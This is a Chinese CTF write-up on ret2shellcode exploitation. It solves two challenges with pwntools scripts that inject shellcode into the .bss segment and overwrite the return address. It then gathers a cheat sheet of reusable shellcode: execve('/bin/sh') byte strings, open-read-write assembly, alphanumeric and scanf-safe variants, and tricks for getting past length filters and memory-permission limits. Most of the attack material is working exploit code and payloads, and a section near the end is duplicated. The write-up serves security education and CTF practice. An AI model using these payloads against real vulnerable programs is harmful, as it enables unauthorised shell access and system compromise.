PWN练习之ret2shellcode
概述
ret2shellcode是栈溢出利用ret2text、ret2shellcode、ret2libc三大类中的一个,是指攻击者需要在程序没给shell的情况下自己调用shell的机器码(即shellcode)注入到程序内存中,随后就是利用栈溢出复写return_address,跳转至shellcode所在内存,执行shell命令,得到flag。
可能的exp姿势
1.注入shellcode至stack段中
这个现在其实很少见了,基本上都加了保护。其中,比较常见的保护手段有:
- ASLR:其功能是将一部分内存段(如栈…)的地址
偏移,在注入时难以定位其位置。 - NX:使得部分内存段(如堆、栈…)
不可执行,无法执行注入的代码。 - Canary:原理是
在栈底插入cookie信息,函数返回时将检测该信息是否被改变,若改变,则断定发生栈溢出
2.注入shellcode至bss段中
在虚拟内存当中,bss段主要保存无初值的全局变量/静态变量(在assmbly中以占位符?声明)。若程序的bss段可写、可执行,则可以把shellcode写入全局变量/静态变量中。
例题
一.[GDOUCTF 2023]Shellcode
拿到二进制文件,习惯性的checksec一下,看栈…的保护措施:

加了NX,不过没啥关系,
放到IDA中反编译,定位到main函数:
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40uLL);
return 0;
}
可以利用name来注入shellcode,然后再栈溢出到buf中执行。这里要注意的是name限制了25字节的写入。
想到利用pwntools里的shellcraft模块直接生成shellcode利用,
首先试试用shellcraft.sh(),但是这个在32位下占位44字节,64位的则为48字节,超过了25字节的写入限制。于是,便利用shellcraft.cat()来构造cat flag,这个只有0x21字节。
接着,我们得到name的地址为.bss段的0x6010A0。
最后的exp:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote('node4.anna.nssctf.cn', 28409)
shellcode = asm(shellcraft.cat("flag"))
io.sendlineafter(b'Please.', shellcode)
io.sendlineafter(b'start!', b'a'*0x12 + p64(0x6010A0))
io.interactive()
#flag:NSSCTF{d7640236-bc9b-4954-a10a-2bfd305e91a8}
还有一种做法是手动构造shellcode,找一个小于25字节的shellcode。
NOTE
32位短字节shellcode(21字节):
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64位短字节shellcode(23字节):
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05
其余的基本上不变,下面为第二种exp:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote('node4.anna.nssctf.cn', 28409)
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.sendlineafter(b'Please.', shellcode)
io.sendlineafter(b'start!', b'a'*0x12 + p64(0x6010A0))
io.interactive()
#flag:NSSCTF{d7640236-bc9b-4954-a10a-2bfd305e91a8}
二.[HNCTF 2022 Week1]safe_shellcode
拿到附件,checksec一下,

保护得还算少,
IDA中反编译,定位main函数:
{
size_t v3; // rbx
char s[524]; // [rsp+0h] [rbp-220h] BYREF
int i; // [rsp+20Ch] [rbp-14h]
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
memset(s, 0, 0x200uLL);
read(0, s, 0x300uLL);
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break;
if ( s[i] <= 47 || s[i] > 122 )
{
puts("Hacker!!!");
exit(0);
}
}
strcpy(buff, s);
(*(void (**)(void))buff)();
return 0;
}
就是先read一下s变量,循环s字节数的次数做判断,strcpy(buff, s)则是将s的值直接存入buff中,其也指向了.bss段。
要想绕过该判断,只要输入的ascii码在47-122之间即可。09、AZ、a~z都可。
我们使用纯ascii字符的shellcode:Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
因为后面直接调用了buff的地址,所以无须栈溢出即可得到flag。
NOTE
32位 短字节shellcode --> 21字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
32位 纯ascii字符shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
32位 scanf可读取的shellcode \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
64位 scanf可读取的shellcode 22字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
64位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
64位 纯ascii字符shellcode Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
最后的exp:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote('node5.anna.nssctf.cn', 26988)
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
#flag:nssctf{W0www!!!!!!!!!!!Sh311C0d3_m@st3rrr!!}
绕过限制
一.限制输入长度
-
利用短字节shellcode(32位)
getshell- 21字节# (execve("/bin/sh",NULL,NULL)) shellcode = asm(""" push 0x68732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx push 11 pop eax int 0x80 """)orw- 56字节shellcode = asm(""" /*open(./flag)*/ push 0x1010101 xor dword ptr [esp], 0x1016660 push 0x6c662f2e mov eax,0x5 mov ebx,esp xor ecx,ecx int 0x80 /*read(fd,buf,0x100)*/ mov ebx,eax mov ecx,esp mov edx,0x30 mov eax,0x3 int 0x80 /*write(1,buf,0x100)*/ mov ebx,0x1 mov eax,0x4 int 0x80 """)无
\x00截断getshell- 21字节\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80scanf可读取getshell- 41字节\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh -
利用短字节shellcode(64位)
getshell- 22字节shellcode = asm(""" mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi,esi xor edx,edx push 0x3b pop rax syscall """)orw- 43字节shellcode = asm(""" push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall """)无
\x00截断、scanf可读 - 22字节\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05 -
\x00截断绕过长度判断
当题目采用
strlen来进行shellcode的长度检测时,可以在其前面加\x00开头的指令绕过长度检测。以下为64位的指令:00 40 00 add BYTE PTR [rax+0x0], al 00 41 00 add BYTE PTR [rcx+0x0], al 00 42 00 add BYTE PTR [rdx+0x0], al 00 43 00 add BYTE PTR [rbx+0x0], al 00 45 00 add BYTE PTR [rbp+0x0], al 00 46 00 add BYTE PTR [rsi+0x0], al 00 47 00 add BYTE PTR [rdi+0x0], alps:也可直接
\x00\x00绕过
二.限制权限
-
限制shellcode无读写权限
利用
mprotect给予读写权限,并再次利用read写入执行mprotect用法 #include <unistd.h> #include <sys/mmap.h> int mprotect(const void *start, size_t len, int prot); -
限制远程读flag权限
先执行
setuid(0),再执行execve来进行getshell。
可直接\x00\x00绕过
二.限制权限
-
限制shellcode无读写权限
利用
mprotect给予读写权限,并再次利用read写入执行mprotect用法 #include <unistd.h> #include <sys/mmap.h> int mprotect(const void *start, size_t len, int prot); -
限制远程读flag权限
先执行
setuid(0),再执行execve来进行getshell。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)